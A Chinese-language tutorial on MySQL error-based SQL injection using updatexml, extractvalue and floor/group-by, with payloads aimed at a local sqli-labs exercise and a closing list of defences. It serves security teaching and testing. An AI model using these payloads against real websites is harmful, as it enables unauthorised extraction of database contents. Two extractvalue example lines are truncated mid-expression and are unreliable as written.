报错注入的三种类型
字数 1274 2025-08-22 12:23:06

SQL报错注入技术详解

一、报错注入概述

报错注入是一种SQL注入技术,通过故意构造错误的SQL语句,使数据库返回错误信息,从而从错误信息中获取敏感数据。报错注入通常用于目标网站不直接显示查询结果但会显示错误信息的场景。

二、updatexml报错注入

1. updatexml函数基础

updatexml函数的基本语法:

updatexml(xml_document, XPath_string, new_value)
  • xml_document:XML文档对象
  • XPath_string:Xpath路径表达式
  • new_value:更新后的内容

2. 注入原理

通过第二个参数注入不符合Xpath语法的表达式,引起数据库报错,并通过错误信息获取数据。Xpath语法错误是导致报错的关键。

3. 注入语法

基本注入格式:

and updatexml(1,concat(0x7e,database()),1)--+

其中:

  • 0x7e是"~"的十六进制表示
  • database()可以替换为其他想要查询的信息

4. 实际示例

http://localhost/sqlilab/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),version()),1)--+
http://localhost/sqlilab/Less-5/?id=1' and updatexml(1,concat("~",database(),version()),1)--+

三、extractvalue报错注入

1. extractvalue函数基础

extractvalue函数的基本语法:

extractvalue(xml_frag, xpath_expr)
  • xml_frag:XML片段
  • xpath_expr:Xpath表达式

2. 注入原理

通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。

3. 数据库实例

select extractvalue(rand(),concat(0x7e,(select @@version)));

4. SQL注入实例

http://localhost/sqlilab/Less-5/?id=1' and (select extractvalue(rand(),concat(0x7e,(database()
http://localhost/sqlilab/Less-5/?id=1' and (select extractvalue(rand(),concat(0x7e,(database()),version(

四、floor报错注入

1. floor函数基础

floor()函数返回小于或等于给定数字的最大整数。

2. 注入原理

利用floor()函数结合group bycount(*)等函数触发数据库报错,获取敏感信息。

3. 注入语法

1' and (select count(*),concat(database()),floor(rand(0)*2))x from information_schema.tables group by x)--+

解释:

  • database():获取当前数据库名
  • rand(0):随机函数
  • floor(rand(0)*2):用于制造分组错误
  • x:子查询中拼接结果列的别名
  • count(*):统计记录数
  • information_schema.tables:用于查询表信息的系统表
  • group by x:触发分组错误

4. 数据库实例

select count(*),concat(database()),floor(rand()*2)x from users group by x;
select count(*),concat(version()),floor(rand()*2)x from users group by x;

五、报错注入关键点总结

  1. updatexml注入

    • 必须使用concat()函数
    • 中间必须包含0x7e或"~"字符
    • 利用Xpath语法错误触发报错
  2. extractvalue注入

    • 同样需要构造无效Xpath表达式
    • 通常与concat()0x7e结合使用
  3. floor注入

    • 需要结合count(*)group by
    • 利用rand()floor()函数制造分组错误
    • 需要为表达式指定别名
  4. 通用技巧

    • 可以通过这些函数获取数据库名、版本、表名、列名等信息
    • 错误信息通常只会返回部分结果,可能需要多次注入获取完整信息
    • 可以使用substring()limit等函数分段获取数据

六、防御措施

  1. 使用参数化查询或预处理语句
  2. 对用户输入进行严格过滤和转义
  3. 配置数据库不显示详细错误信息
  4. 使用最小权限原则,限制数据库用户权限
  5. 定期进行安全审计和渗透测试

通过掌握这三种报错注入技术,安全测试人员可以更全面地评估Web应用的安全性,而开发人员则可以更好地理解如何防御这类攻击。

SQL报错注入技术详解 一、报错注入概述 报错注入是一种SQL注入技术,通过故意构造错误的SQL语句,使数据库返回错误信息,从而从错误信息中获取敏感数据。报错注入通常用于目标网站不直接显示查询结果但会显示错误信息的场景。 二、updatexml报错注入 1. updatexml函数基础 updatexml 函数的基本语法: xml_document :XML文档对象 XPath_string :Xpath路径表达式 new_value :更新后的内容 2. 注入原理 通过第二个参数注入不符合Xpath语法的表达式,引起数据库报错,并通过错误信息获取数据。Xpath语法错误是导致报错的关键。 3. 注入语法 基本注入格式: 其中: 0x7e 是"~"的十六进制表示 database() 可以替换为其他想要查询的信息 4. 实际示例 三、extractvalue报错注入 1. extractvalue函数基础 extractvalue 函数的基本语法: xml_frag :XML片段 xpath_expr :Xpath表达式 2. 注入原理 通过提供一个无效的Xpath表达式,导致函数报错,从而获取数据。 3. 数据库实例 4. SQL注入实例 四、floor报错注入 1. floor函数基础 floor() 函数返回小于或等于给定数字的最大整数。 2. 注入原理 利用 floor() 函数结合 group by 和 count(*) 等函数触发数据库报错,获取敏感信息。 3. 注入语法 解释: database() :获取当前数据库名 rand(0) :随机函数 floor(rand(0)*2) :用于制造分组错误 x :子查询中拼接结果列的别名 count(*) :统计记录数 information_schema.tables :用于查询表信息的系统表 group by x :触发分组错误 4. 数据库实例 五、报错注入关键点总结 updatexml注入 : 必须使用 concat() 函数 中间必须包含 0x7e 或"~"字符 利用Xpath语法错误触发报错 extractvalue注入 : 同样需要构造无效Xpath表达式 通常与 concat() 和 0x7e 结合使用 floor注入 : 需要结合 count(*) 和 group by 利用 rand() 和 floor() 函数制造分组错误 需要为表达式指定别名 通用技巧 : 可以通过这些函数获取数据库名、版本、表名、列名等信息 错误信息通常只会返回部分结果,可能需要多次注入获取完整信息 可以使用 substring() 或 limit 等函数分段获取数据 六、防御措施 使用参数化查询或预处理语句 对用户输入进行严格过滤和转义 配置数据库不显示详细错误信息 使用最小权限原则,限制数据库用户权限 定期进行安全审计和渗透测试 通过掌握这三种报错注入技术,安全测试人员可以更全面地评估Web应用的安全性,而开发人员则可以更好地理解如何防御这类攻击。